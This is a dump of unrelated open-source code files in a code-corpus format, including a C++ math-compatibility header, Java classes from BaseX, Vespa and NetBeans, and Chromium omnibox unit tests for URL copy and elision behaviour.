mathlib_fmadd #define mathlib_fmadd(x, y, z) (((x) * (y)) + (z)) #endif #ifndef mathlib_fmsub #define mathlib_fmsub(x, y, z) (((x) * (y)) - (z)) #endif // 7.12.6.2 The exp2 functions #ifdef HAVE_EXP2F extern "C" float exp2f(float x) MATHLIB_THROW; #else #ifdef HAVE_EXP2 extern "C" double exp2(double x) MATHLIB_THROW; #define exp2f(x) (float)exp2(x) #else #ifndef exp2f #define exp2f(x) powf(2.0, (x)) #endif #endif #endif // 7.12.6.10 The log2 functions #ifdef HAVE_LOG2F extern "C" float log2f(float x) MATHLIB_THROW; #else #ifdef HAVE_LOG2 extern "C" double log2(double x) MATHLIB_THROW; #define log2f(x) (float)log2(x) #else #ifndef M_LN2 #define M_LN2 logf(2.0) #endif #ifndef log2f #define log2f(x) logf(x) / M_LN2 #endif #endif #endif // 7.12.9.1 The ceil functions #ifdef HAVE_CEILF extern "C" float ceilf(float x) MATHLIB_THROW; #else #ifdef HAVE_CEIL extern "C" double ceil(double x) MATHLIB_THROW; #define ceilf(x) (float)ceil(x) #endif #endif // 7.12.9.2 The floor functions #ifdef HAVE_FLOORF extern "C" float floorf(float x) MATHLIB_THROW; #else #ifdef HAVE_FLOOR extern "C" double floor(double x) MATHLIB_THROW; #define floorf(x) (float)floor(x) #endif #endif // 7.12.9.5 The lrint and llrint functions #ifdef HAVE_LRINT extern "C" long lrint(double x) MATHLIB_THROW; #else #ifndef mathlib_lrint extern long mathlib_lrint(double); #endif #define lrint(x) mathlib_lrint(x) #endif // 7.12.9.6 The round functions #ifdef HAVE_ROUNDF extern "C" float roundf(float x) MATHLIB_THROW; #else #ifdef HAVE_ROUND extern "C" double round(double x) MATHLIB_THROW; #define roundf(x) (float)round(x) #else extern float mathlib_roundf(float); #define roundf(x) mathlib_roundf(x) #endif #endif // 7.12.9.8 The trunc functions #ifdef HAVE_TRUNCF extern "C" float truncf(float x) MATHLIB_THROW; #else #ifdef HAVE_TRUNC extern "C" double trunc(double x) MATHLIB_THROW; #define truncf(x) (float)trunc(x) #endif #endif // 7.12.3.1 The fpclassify macro #ifndef fpclassify #ifndef mathlib_fpclassifyf extern int mathlib_fpclassifyf(float x); #endif #ifndef mathlib_fpclassify extern int mathlib_fpclassify(double x); #endif #ifndef mathlib_fpclassifyl extern int mathlib_fpclassifyl(long double x); #endif #define fpclassify(x) \ (sizeof (x) == sizeof (float) \ ? mathlib_fpclassifyf (x) \ : sizeof (x) == sizeof (double) \ ? mathlib_fpclassify (x) : mathlib_fpclassifyl (x)) #endif // 7.12.3.2 The isfinite macro static inline int mathlib_isfinite(float x) { int32 ix; MATHLIB_GET_FLOAT_WORD(ix, x); return (int)((uint32)((ix & 0x7fffffff) - 0x7f800000) >> 31); } static inline int mathlib_isfinite(double x) { int32 hx; MATHLIB_GET_HIGH_WORD(hx, x); return (int)((uint32)((hx & 0x7fffffff) - 0x7ff00000) >> 31); } #ifndef isfinite #define isfinite(x) mathlib_isfinite(x) #endif // 7.12.3.3 The isinf macro static inline int mathlib_isinf(float x) { int32 ix, t; MATHLIB_GET_FLOAT_WORD(ix, x); t = ix & 0x7fffffff; t ^= 0x7f800000; t |= -t; return ~(t >> 31) & (ix >> 30); } static inline int mathlib_isinf(double x) { int32 hx, lx; MATHLIB_EXTRACT_WORDS(hx, lx, x); lx |= (hx & 0x7fffffff) ^ 0x7ff00000; lx |= -lx; return ~(lx >> 31) & (hx >> 30); } #ifndef isinf #if defined __sgi && defined __mips // specialized implementation for IRIX mips compilers extern "C" int _isinf(double); extern "C" int _isinff(float); static inline int isinf(double x) { return _isinf(x); } static inline int isinf(float x) { return _isinff(x); } #else #define isinf(x) mathlib_isinf(x) #endif #endif // 7.12.3.4 The isnan macro static inline int mathlib_isnan(float x) { int32 ix; MATHLIB_GET_FLOAT_WORD(ix, x); ix &= 0x7fffffff; ix = 0x7f800000 - ix; return (int)(((uint32)ix) >> 31); } static inline int mathlib_isnan(double x) { int32 hx, lx; MATHLIB_EXTRACT_WORDS(hx, lx, x); hx &= 0x7fffffff; hx |= (uint32)(lx|(-lx)) >> 31; hx = 0x7ff00000 - hx; return (int)(((uint32)hx) >> 31); } #ifndef isnan #define isnan(x) mathlib_isnan(x) #endif // 7.12.3.6 The signbit macro #ifndef signbit #ifndef mathlib_signbitf extern int mathlib_signbitf(float x); #endif #ifndef mathlib_signbit extern int mathlib_signbit(double x); #endif #ifndef mathlib_signbitl extern int mathlib_signbitl(long double x); #endif #define signbit(x) \ (sizeof (x) == sizeof (float) \ ? mathlib_signbitf (x) \ : sizeof (x) == sizeof (double) \ ? mathlib_signbit (x) : mathlib_signbitl (x)) #endif // 7.12.14.1 The isgreater macro // FIXME: this is wrong for unordered values #ifndef isgreater #define isgreater(x, y) ((x) > (y)) #endif // 7.12.14.3 The isless macro // FIXME: this is wrong for unordered values #ifndef isless #define isless(x, y) ((x) < (y)) #endif #endif /* MATHLIB_H */
3,565
3,457
<filename>src/Eigen-3.3/doc/snippets/MatrixBase_zero_int_int.cpp<gh_stars>1000+ cout << MatrixXi::Zero(2,3) << endl;
53
441
package org.basex.core.cmd; import static org.basex.query.QueryError.*; import java.io.*; import java.util.*; import org.basex.core.*; import org.basex.core.jobs.*; import org.basex.core.parse.*; import org.basex.core.parse.Commands.*; import org.basex.core.users.*; import org.basex.io.serial.*; import org.basex.query.*; import org.basex.query.iter.*; import org.basex.query.value.item.*; import org.basex.util.*; /** * Evaluates the 'jobs stop' command. * * @author BaseX Team 2005-21, BSD License * @author <NAME> */ public final class JobsResult extends Command { /** * Default constructor. * @param id id */ public JobsResult(final String id) { super(Perm.ADMIN, id); } @Override protected boolean run() { final String id = args[0]; final JobPool jobs = context.jobs; final Map<String, QueryJobResult> results = jobs.results; final QueryJobResult result = results.get(id); if(result != null) { if(!result.cached()) error(JOBS_RUNNING_X.message, id); try { if(result.exception != null) throw result.exception; final Serializer ser = Serializer.get(out); final Iter iter = result.value.iter(); for(Item item; (item = iter.next()) != null;) { ser.serialize(item); checkStop(); } } catch(final QueryException | IOException ex) { exception = ex; return error(Util.message(ex)); } finally { results.remove(id); } } return true; } @Override public void addLocks() { // no locks needed } @Override public void build(final CmdBuilder cb) { cb.init(Cmd.JOBS + " " + CmdJobs.RESULT).args(); } }
670
7,137
package io.onedev.server.util; import java.io.Serializable; public interface Provider<T> extends Serializable { T get(); }
41
14,668
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef SERVICES_DEVICE_PUBLIC_CPP_TEST_FAKE_DEVICE_POSTURE_PROVIDER_H_ #define SERVICES_DEVICE_PUBLIC_CPP_TEST_FAKE_DEVICE_POSTURE_PROVIDER_H_ #include "mojo/public/cpp/bindings/pending_receiver.h" #include "mojo/public/cpp/bindings/receiver_set.h" #include "mojo/public/cpp/bindings/remote.h" #include "mojo/public/cpp/bindings/remote_set.h" #include "mojo/public/cpp/system/buffer.h" #include "services/device/public/mojom/device_posture_provider.mojom.h" namespace device { class FakeDevicePostureProvider : public mojom::DevicePostureProvider { public: FakeDevicePostureProvider(); ~FakeDevicePostureProvider() override; FakeDevicePostureProvider(const FakeDevicePostureProvider&) = delete; FakeDevicePostureProvider& operator=(const FakeDevicePostureProvider&) = delete; // mojom::DevicePostureProvider: void AddListenerAndGetCurrentPosture( mojo::PendingRemote<mojom::DevicePostureProviderClient> client, AddListenerAndGetCurrentPostureCallback callback) override; void SetCurrentPostureForTesting(device::mojom::DevicePostureType posture); void Bind(mojo::PendingReceiver<mojom::DevicePostureProvider> receiver); private: void DispatchPostureChanges(); mojo::ReceiverSet<mojom::DevicePostureProvider> receivers_; mojo::RemoteSet<mojom::DevicePostureProviderClient> clients_; mojom::DevicePostureType current_posture_ = mojom::DevicePostureType::kContinuous; }; } // namespace device #endif // SERVICES_DEVICE_PUBLIC_CPP_TEST_FAKE_DEVICE_POSTURE_PROVIDER_H_
569
4,054
<reponame>shahariel/vespa<filename>vespajlib/src/main/java/com/yahoo/slime/NixValue.java // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root. package com.yahoo.slime; final class NixValue extends Value { private static final NixValue invalidNix = new NixValue(); private static final NixValue validNix = new NixValue(); private NixValue() {} public final Type type() { return Type.NIX; } public final void accept(Visitor v) { if (valid()) { v.visitNix(); } else { v.visitInvalid(); } } public static NixValue invalid() { return invalidNix; } public static NixValue instance() { return validNix; } }
275
575
<reponame>iridium-browser/iridium-browser // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/omnibox/browser/omnibox_edit_model.h" #include <stddef.h> #include <memory> #include <string> #include "base/stl_util.h" #include "base/strings/utf_string_conversions.h" #include "base/test/task_environment.h" #include "build/build_config.h" #include "components/dom_distiller/core/url_constants.h" #include "components/dom_distiller/core/url_utils.h" #include "components/omnibox/browser/autocomplete_match.h" #include "components/omnibox/browser/omnibox_field_trial.h" #include "components/omnibox/browser/omnibox_view.h" #include "components/omnibox/browser/search_provider.h" #include "components/omnibox/browser/test_location_bar_model.h" #include "components/omnibox/browser/test_omnibox_client.h" #include "components/omnibox/browser/test_omnibox_edit_controller.h" #include "components/omnibox/browser/test_omnibox_edit_model.h" #include "components/omnibox/browser/test_omnibox_view.h" #include "components/url_formatter/url_fixer.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/metrics_proto/omnibox_event.pb.h" using metrics::OmniboxEventProto; class OmniboxEditModelTest : public testing::Test { public: void SetUp() override { controller_ = std::make_unique<TestOmniboxEditController>(); view_ = std::make_unique<TestOmniboxView>(controller_.get()); view_->SetModel( std::make_unique<TestOmniboxEditModel>(view_.get(), controller_.get())); } TestOmniboxView* view() { return view_.get(); } TestLocationBarModel* location_bar_model() { return controller_->GetLocationBarModel(); } TestOmniboxEditModel* model() { return static_cast<TestOmniboxEditModel*>(view_->model()); } private: base::test::TaskEnvironment task_environment_; std::unique_ptr<TestOmniboxEditController> controller_; std::unique_ptr<TestOmniboxView> view_; }; // Tests various permutations of AutocompleteModel::AdjustTextForCopy. TEST_F(OmniboxEditModelTest, AdjustTextForCopy) { struct Data { const char* url_for_editing; const int sel_start; const char* match_destination_url; const bool is_match_selected_in_popup; const char* input; const char* expected_output; const bool write_url; const char* expected_url; const char* url_for_display = ""; } input[] = { // Test that http:// is inserted if all text is selected. {"a.de/b", 0, "", false, "a.de/b", "http://a.de/b", true, "http://a.de/b"}, // Test that http:// and https:// are inserted if the host is selected. {"a.de/b", 0, "", false, "a.de/", "http://a.de/", true, "http://a.de/"}, {"https://a.de/b", 0, "", false, "https://a.de/", "https://a.de/", true, "https://a.de/"}, // Tests that http:// is inserted if the path is modified. {"a.de/b", 0, "", false, "a.de/c", "http://a.de/c", true, "http://a.de/c"}, // Tests that http:// isn't inserted if the host is modified. {"a.de/b", 0, "", false, "a.com/b", "a.com/b", false, ""}, // Tests that http:// isn't inserted if the start of the selection is 1. {"a.de/b", 1, "", false, "a.de/b", "a.de/b", false, ""}, // Tests that http:// isn't inserted if a portion of the host is selected. {"a.de/", 0, "", false, "a.d", "a.d", false, ""}, // Tests that http:// isn't inserted if the user adds to the host. {"a.de/", 0, "", false, "a.de.com/", "a.de.com/", false, ""}, // Tests that we don't get double schemes if the user manually inserts // a scheme. {"a.de/", 0, "", false, "http://a.de/", "http://a.de/", true, "http://a.de/"}, {"a.de/", 0, "", false, "HTtp://a.de/", "http://a.de/", true, "http://a.de/"}, {"https://a.de/", 0, "", false, "https://a.de/", "https://a.de/", true, "https://a.de/"}, // Test that we don't get double schemes or revert the change if the user // manually changes the scheme from 'http://' to 'https://' or vice versa. {"a.de/", 0, "", false, "https://a.de/", "https://a.de/", true, "https://a.de/"}, {"https://a.de/", 0, "", false, "http://a.de/", "http://a.de/", true, "http://a.de/"}, // Makes sure intranet urls get 'http://' prefixed to them. {"b/foo", 0, "", false, "b/foo", "http://b/foo", true, "http://b/foo", "b/foo"}, // Verifies a search term 'foo' doesn't end up with http. {"www.google.com/search?", 0, "", false, "foo", "foo", false, ""}, // Verifies that http:// and https:// are inserted for a match in a popup. {"a.com", 0, "http://b.com/foo", true, "b.com/foo", "http://b.com/foo", true, "http://b.com/foo"}, {"a.com", 0, "https://b.com/foo", true, "b.com/foo", "https://b.com/foo", true, "https://b.com/foo"}, // Even if the popup is open, if the input text doesn't correspond to the // current match, ignore the current match. {"a.com/foo", 0, "https://b.com/foo", true, "a.com/foo", "a.com/foo", false, "a.com/foo"}, {"https://b.com/foo", 0, "https://b.com/foo", true, "https://b.co", "https://b.co", false, "https://b.co"}, // Verifies that no scheme is inserted if there is no valid match. {"a.com", 0, "", true, "b.com/foo", "b.com/foo", false, ""}, // Steady State Elisions test for re-adding an elided 'https://'. {"https://a.de/b", 0, "", false, "a.de/b", "https://a.de/b", true, "https://a.de/b", "a.de/b"}, // Verifies that non-ASCII characters are %-escaped for valid copied URLs, // as long as the host has not been modified from the page URL. {u8"https://ja.wikipedia.org/wiki/目次", 0, "", false, u8"https://ja.wikipedia.org/wiki/目次", "https://ja.wikipedia.org/wiki/%E7%9B%AE%E6%AC%A1", true, "https://ja.wikipedia.org/wiki/%E7%9B%AE%E6%AC%A1"}, // Test escaping when part of the path was not copied. {u8"https://ja.wikipedia.org/wiki/目次", 0, "", false, u8"https://ja.wikipedia.org/wiki/目", "https://ja.wikipedia.org/wiki/%E7%9B%AE", true, "https://ja.wikipedia.org/wiki/%E7%9B%AE"}, // Correctly handle escaping in the scheme-elided case as well. {u8"https://ja.wikipedia.org/wiki/目次", 0, "", false, u8"ja.wikipedia.org/wiki/目次", "https://ja.wikipedia.org/wiki/%E7%9B%AE%E6%AC%A1", true, "https://ja.wikipedia.org/wiki/%E7%9B%AE%E6%AC%A1", u8"ja.wikipedia.org/wiki/目次"}, // Don't escape when host was modified. {u8"https://ja.wikipedia.org/wiki/目次", 0, "", false, u8"https://wikipedia.org/wiki/目次", u8"https://wikipedia.org/wiki/目次", false, ""}, }; for (size_t i = 0; i < base::size(input); ++i) { location_bar_model()->set_formatted_full_url( base::UTF8ToUTF16(input[i].url_for_editing)); location_bar_model()->set_url_for_display( base::UTF8ToUTF16(input[i].url_for_display)); // Set the location bar model's URL to be a valid GURL that would generate // the test case's url_for_editing. location_bar_model()->set_url( url_formatter::FixupURL(input[i].url_for_editing, "")); model()->ResetDisplayTexts(); model()->SetInputInProgress(input[i].is_match_selected_in_popup); model()->SetPopupIsOpen(input[i].is_match_selected_in_popup); AutocompleteMatch match; match.type = AutocompleteMatchType::NAVSUGGEST; match.destination_url = GURL(input[i].match_destination_url); model()->SetCurrentMatchForTest(match); std::u16string result = base::UTF8ToUTF16(input[i].input); GURL url; bool write_url; model()->AdjustTextForCopy(input[i].sel_start, &result, &url, &write_url); EXPECT_EQ(base::UTF8ToUTF16(input[i].expected_output), result) << "@: " << i; EXPECT_EQ(input[i].write_url, write_url) << " @" << i; if (write_url) EXPECT_EQ(input[i].expected_url, url.spec()) << " @" << i; } } // Tests that AdjustTextForCopy behaves properly for Reader Mode URLs. TEST_F(OmniboxEditModelTest, AdjustTextForCopyReaderMode) { const GURL article_url("https://www.example.com/article.html"); const GURL distiller_url = dom_distiller::url_utils::GetDistillerViewUrlFromUrl( dom_distiller::kDomDistillerScheme, article_url, "title"); // In ReaderMode, the URL is chrome-distiller://<hash>, // but the user should only see the original URL minus the scheme. location_bar_model()->set_url(distiller_url); model()->ResetDisplayTexts(); std::u16string result = base::UTF8ToUTF16(distiller_url.spec()); GURL url; bool write_url = false; model()->AdjustTextForCopy(0, &result, &url, &write_url); EXPECT_EQ(base::ASCIIToUTF16(article_url.spec()), result); EXPECT_EQ(article_url, url); EXPECT_TRUE(write_url); } TEST_F(OmniboxEditModelTest, DISABLED_InlineAutocompleteText) { // Test if the model updates the inline autocomplete text in the view. EXPECT_EQ(std::u16string(), view()->inline_autocompletion()); model()->SetUserText(u"he"); model()->OnPopupDataChanged(std::u16string(), /*is_temporary_text=*/false, u"llo", std::u16string(), {}, std::u16string(), false, std::u16string()); EXPECT_EQ(u"hello", view()->GetText()); EXPECT_EQ(u"llo", view()->inline_autocompletion()); std::u16string text_before = u"he"; std::u16string text_after = u"hel"; OmniboxView::StateChanges state_changes{ &text_before, &text_after, 3, 3, false, true, false, false}; model()->OnAfterPossibleChange(state_changes, true); EXPECT_EQ(std::u16string(), view()->inline_autocompletion()); model()->OnPopupDataChanged(std::u16string(), /*is_temporary_text=*/false, u"lo", std::u16string(), {}, std::u16string(), false, std::u16string()); EXPECT_EQ(u"hello", view()->GetText()); EXPECT_EQ(u"lo", view()->inline_autocompletion()); model()->Revert(); EXPECT_EQ(std::u16string(), view()->GetText()); EXPECT_EQ(std::u16string(), view()->inline_autocompletion()); model()->SetUserText(u"he"); model()->OnPopupDataChanged(std::u16string(), /*is_temporary_text=*/false, u"llo", std::u16string(), {}, std::u16string(), false, std::u16string()); EXPECT_EQ(u"hello", view()->GetText()); EXPECT_EQ(u"llo", view()->inline_autocompletion()); model()->AcceptTemporaryTextAsUserText(); EXPECT_EQ(u"hello", view()->GetText()); EXPECT_EQ(std::u16string(), view()->inline_autocompletion()); } // iOS doesn't use elisions in the Omnibox textfield. #if !defined(OS_IOS) TEST_F(OmniboxEditModelTest, RespectUnelisionInZeroSuggest) { location_bar_model()->set_url(GURL("https://www.example.com/")); location_bar_model()->set_url_for_display(u"example.com"); EXPECT_TRUE(model()->ResetDisplayTexts()); model()->Revert(); // Set up view with unelided text. EXPECT_EQ(u"example.com", view()->GetText()); EXPECT_TRUE(model()->Unelide()); EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_TRUE(view()->IsSelectAll()); // Test that we don't clobber the unelided text with inline autocomplete text. EXPECT_EQ(std::u16string(), view()->inline_autocompletion()); model()->StartZeroSuggestRequest(); model()->OnPopupDataChanged(std::u16string(), /*is_temporary_text=*/false, std::u16string(), std::u16string(), {}, std::u16string(), false, std::u16string()); EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_TRUE(view()->IsSelectAll()); } #endif // !defined(OS_IOS) TEST_F(OmniboxEditModelTest, RevertZeroSuggestTemporaryText) { location_bar_model()->set_url(GURL("https://www.example.com/")); location_bar_model()->set_url_for_display(u"https://www.example.com/"); EXPECT_TRUE(model()->ResetDisplayTexts()); model()->Revert(); // Simulate getting ZeroSuggestions and arrowing to a different match. view()->SelectAll(true); model()->StartZeroSuggestRequest(); model()->OnPopupDataChanged(u"fake_temporary_text", /*is_temporary_text=*/true, std::u16string(), std::u16string(), {}, std::u16string(), false, std::u16string()); // Test that reverting brings back the original input text. EXPECT_TRUE(model()->OnEscapeKeyPressed()); EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_TRUE(view()->IsSelectAll()); } // This verifies the fix for a bug where calling OpenMatch() with a valid // alternate nav URL would fail a DCHECK if the input began with "http://". // The failure was due to erroneously trying to strip the scheme from the // resulting fill_into_edit. Alternate nav matches are never shown, so there's // no need to ever try and strip this scheme. TEST_F(OmniboxEditModelTest, AlternateNavHasHTTP) { const TestOmniboxClient* client = static_cast<TestOmniboxClient*>(model()->client()); const AutocompleteMatch match( model()->autocomplete_controller()->search_provider(), 0, false, AutocompleteMatchType::SEARCH_WHAT_YOU_TYPED); const GURL alternate_nav_url("http://abcd/"); model()->OnSetFocus(false); // Avoids DCHECK in OpenMatch(). model()->SetUserText(u"http://abcd"); model()->OpenMatch(match, WindowOpenDisposition::CURRENT_TAB, alternate_nav_url, std::u16string(), 0); EXPECT_TRUE(AutocompleteInput::HasHTTPScheme( client->alternate_nav_match().fill_into_edit)); model()->SetUserText(u"abcd"); model()->OpenMatch(match, WindowOpenDisposition::CURRENT_TAB, alternate_nav_url, std::u16string(), 0); EXPECT_TRUE(AutocompleteInput::HasHTTPScheme( client->alternate_nav_match().fill_into_edit)); } TEST_F(OmniboxEditModelTest, CurrentMatch) { // Test the HTTP case. { location_bar_model()->set_url(GURL("http://www.example.com/")); location_bar_model()->set_url_for_display(u"example.com"); model()->ResetDisplayTexts(); model()->Revert(); // iOS doesn't do elision in the textfield view. #if defined(OS_IOS) EXPECT_EQ(u"http://www.example.com/", view()->GetText()); #else EXPECT_EQ(u"example.com", view()->GetText()); #endif AutocompleteMatch match = model()->CurrentMatch(nullptr); EXPECT_EQ(AutocompleteMatchType::URL_WHAT_YOU_TYPED, match.type); EXPECT_TRUE(model()->CurrentTextIsURL()); EXPECT_EQ("http://www.example.com/", match.destination_url.spec()); } // Test that generating a match from an elided HTTPS URL doesn't drop the // secure scheme. { location_bar_model()->set_url(GURL("https://www.google.com/")); location_bar_model()->set_url_for_display(u"google.com"); model()->ResetDisplayTexts(); model()->Revert(); // iOS doesn't do elision in the textfield view. #if defined(OS_IOS) EXPECT_EQ(u"https://www.google.com/", view()->GetText()); #else EXPECT_EQ(u"google.com", view()->GetText()); #endif AutocompleteMatch match = model()->CurrentMatch(nullptr); EXPECT_EQ(AutocompleteMatchType::URL_WHAT_YOU_TYPED, match.type); EXPECT_TRUE(model()->CurrentTextIsURL()); // Additionally verify we aren't accidentally dropping the HTTPS scheme. EXPECT_EQ("https://www.google.com/", match.destination_url.spec()); } } TEST_F(OmniboxEditModelTest, DisplayText) { location_bar_model()->set_url(GURL("https://www.example.com/")); location_bar_model()->set_url_for_display(u"example.com"); EXPECT_TRUE(model()->ResetDisplayTexts()); model()->Revert(); EXPECT_TRUE(model()->CurrentTextIsURL()); #if defined(OS_IOS) // iOS OmniboxEditModel always provides the full URL as the OmniboxView // permanent display text. Unelision should return false. EXPECT_EQ(u"https://www.example.com/", model()->GetPermanentDisplayText()); EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_FALSE(model()->Unelide()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_FALSE(view()->IsSelectAll()); #else // Verify we can unelide and show the full URL properly. EXPECT_EQ(u"example.com", model()->GetPermanentDisplayText()); EXPECT_EQ(u"example.com", view()->GetText()); EXPECT_TRUE(model()->Unelide()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_TRUE(view()->IsSelectAll()); #endif EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_TRUE(model()->CurrentTextIsURL()); // We should still show the current page's icon until the URL is modified. EXPECT_TRUE(model()->ShouldShowCurrentPageIcon()); view()->SetUserText(u"something else"); EXPECT_FALSE(model()->ShouldShowCurrentPageIcon()); } TEST_F(OmniboxEditModelTest, UnelideDoesNothingWhenFullURLAlreadyShown) { location_bar_model()->set_url(GURL("https://www.example.com/")); location_bar_model()->set_url_for_display(u"https://www.example.com/"); EXPECT_TRUE(model()->ResetDisplayTexts()); model()->Revert(); EXPECT_EQ(u"https://www.example.com/", model()->GetPermanentDisplayText()); EXPECT_TRUE(model()->CurrentTextIsURL()); // Verify Unelide does nothing. EXPECT_FALSE(model()->Unelide()); EXPECT_EQ(u"https://www.example.com/", view()->GetText()); EXPECT_FALSE(model()->user_input_in_progress()); EXPECT_FALSE(view()->IsSelectAll()); EXPECT_TRUE(model()->CurrentTextIsURL()); EXPECT_TRUE(model()->ShouldShowCurrentPageIcon()); } // The tab-switching system sometimes focuses the Omnibox even if it was not // previously focused. In those cases, ignore the saved focus state. TEST_F(OmniboxEditModelTest, IgnoreInvalidSavedFocusStates) { // The Omnibox starts out unfocused. Save that state. ASSERT_FALSE(model()->has_focus()); OmniboxEditModel::State state = model()->GetStateForTabSwitch(); ASSERT_EQ(OMNIBOX_FOCUS_NONE, state.focus_state); // Simulate the tab-switching system focusing the Omnibox. model()->OnSetFocus(false); // Restoring the old saved state should not clobber the model's focus state. model()->RestoreState(&state); EXPECT_TRUE(model()->has_focus()); EXPECT_TRUE(model()->is_caret_visible()); } // Tests ConsumeCtrlKey() consumes ctrl key when down, but does not affect ctrl // state otherwise. TEST_F(OmniboxEditModelTest, ConsumeCtrlKey) { model()->control_key_state_ = TestOmniboxEditModel::UP; model()->ConsumeCtrlKey(); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::UP); model()->control_key_state_ = TestOmniboxEditModel::DOWN; model()->ConsumeCtrlKey(); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::DOWN_AND_CONSUMED); model()->ConsumeCtrlKey(); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::DOWN_AND_CONSUMED); } // Tests ctrl_key_state_ is set consumed if the ctrl key is down on focus. TEST_F(OmniboxEditModelTest, ConsumeCtrlKeyOnRequestFocus) { model()->control_key_state_ = TestOmniboxEditModel::DOWN; model()->OnSetFocus(false); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::UP); model()->OnSetFocus(true); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::DOWN_AND_CONSUMED); } // Tests the ctrl key is consumed on a ctrl-action (e.g. ctrl-c to copy) TEST_F(OmniboxEditModelTest, ConsumeCtrlKeyOnCtrlAction) { model()->control_key_state_ = TestOmniboxEditModel::DOWN; OmniboxView::StateChanges state_changes{nullptr, nullptr, 0, 0, false, false, false, false}; model()->OnAfterPossibleChange(state_changes, false); EXPECT_EQ(model()->control_key_state_, TestOmniboxEditModel::DOWN_AND_CONSUMED); } TEST_F(OmniboxEditModelTest, KeywordModePreservesInlineAutocompleteText) { // Set the edit model into an inline autocompletion state. view()->SetUserText(u"user"); view()->OnInlineAutocompleteTextMaybeChanged(u"user text", {{9, 4}}, 4); // Entering keyword search mode should preserve the full display text as the // user text, and select all. model()->EnterKeywordModeForDefaultSearchProvider( OmniboxEventProto::KEYBOARD_SHORTCUT); EXPECT_EQ(u"user text", model()->GetUserTextForTesting()); EXPECT_EQ(u"user text", view()->GetText()); EXPECT_TRUE(view()->IsSelectAll()); // Deleting the user text (exiting keyword) mode should clear everything. view()->SetUserText(std::u16string()); { EXPECT_TRUE(view()->GetText().empty()); EXPECT_TRUE(model()->GetUserTextForTesting().empty()); size_t start = 0, end = 0; view()->GetSelectionBounds(&start, &end); EXPECT_EQ(0U, start); EXPECT_EQ(0U, end); } } TEST_F(OmniboxEditModelTest, KeywordModePreservesTemporaryText) { // Set the edit model into a temporary text state. view()->SetUserText(u"user text"); GURL destination_url("http://example.com"); // OnPopupDataChanged() is called when the user focuses a suggestion. model()->OnPopupDataChanged(u"match text", /*is_temporary_text=*/true, std::u16string(), std::u16string(), {}, std::u16string(), false, std::u16string()); // Entering keyword search mode should preserve temporary text as the user // text, and select all. model()->EnterKeywordModeForDefaultSearchProvider( OmniboxEventProto::KEYBOARD_SHORTCUT); EXPECT_EQ(u"match text", model()->GetUserTextForTesting()); EXPECT_EQ(u"match text", view()->GetText()); EXPECT_TRUE(view()->IsSelectAll()); } TEST_F(OmniboxEditModelTest, CtrlEnterNavigatesToDesiredTLD) { // Set the edit model into an inline autocomplete state. view()->SetUserText(u"foo"); model()->StartAutocomplete(false, false); view()->OnInlineAutocompleteTextMaybeChanged(u"foobar", {{6, 3}}, 3); model()->OnControlKeyChanged(true); model()->AcceptInput(WindowOpenDisposition::UNKNOWN); OmniboxEditModel::State state = model()->GetStateForTabSwitch(); EXPECT_EQ(GURL("http://www.foo.com/"), state.autocomplete_input.canonicalized_url()); } TEST_F(OmniboxEditModelTest, CtrlEnterNavigatesToDesiredTLDTemporaryText) { // But if it's the temporary text, the View text should be used. view()->SetUserText(u"foo"); model()->StartAutocomplete(false, false); model()->OnPopupDataChanged(u"foobar", /*is_temporary_text=*/true, std::u16string(), std::u16string(), {}, std::u16string(), false, std::u16string()); model()->OnControlKeyChanged(true); model()->AcceptInput(WindowOpenDisposition::UNKNOWN); OmniboxEditModel::State state = model()->GetStateForTabSwitch(); EXPECT_EQ(GURL("http://www.foobar.com/"), state.autocomplete_input.canonicalized_url()); } TEST_F(OmniboxEditModelTest, CtrlEnterNavigatesToDesiredTLDSteadyStateElisions) { location_bar_model()->set_url(GURL("https://www.example.com/")); location_bar_model()->set_url_for_display(u"example.com"); EXPECT_TRUE(model()->ResetDisplayTexts()); model()->Revert(); model()->OnControlKeyChanged(true); model()->AcceptInput(WindowOpenDisposition::UNKNOWN); OmniboxEditModel::State state = model()->GetStateForTabSwitch(); EXPECT_EQ(GURL("https://www.example.com/"), state.autocomplete_input.canonicalized_url()); }
9,513
311
<filename>FetLife/fetlife/src/main/java/com/bitlove/fetlife/util/MaterialIcons.java package com.bitlove.fetlife.util; public class MaterialIcons { public static final String FAVORITE = "{zmdi_favorite}"; public static final String FAVORITE_OUTLINE = "{zmdi_favorite_outline}"; }
102
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ /* * InputDialog.java * * Created on October 4, 2003, 7:34 PM */ package org.netbeans.modules.j2ee.sun.share.configbean.customizers.common; import java.awt.BorderLayout; import java.awt.Component; import java.awt.Dimension; import java.awt.Frame; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.Insets; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.WindowAdapter; import java.awt.event.WindowEvent; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Iterator; import java.util.List; import java.util.ResourceBundle; import 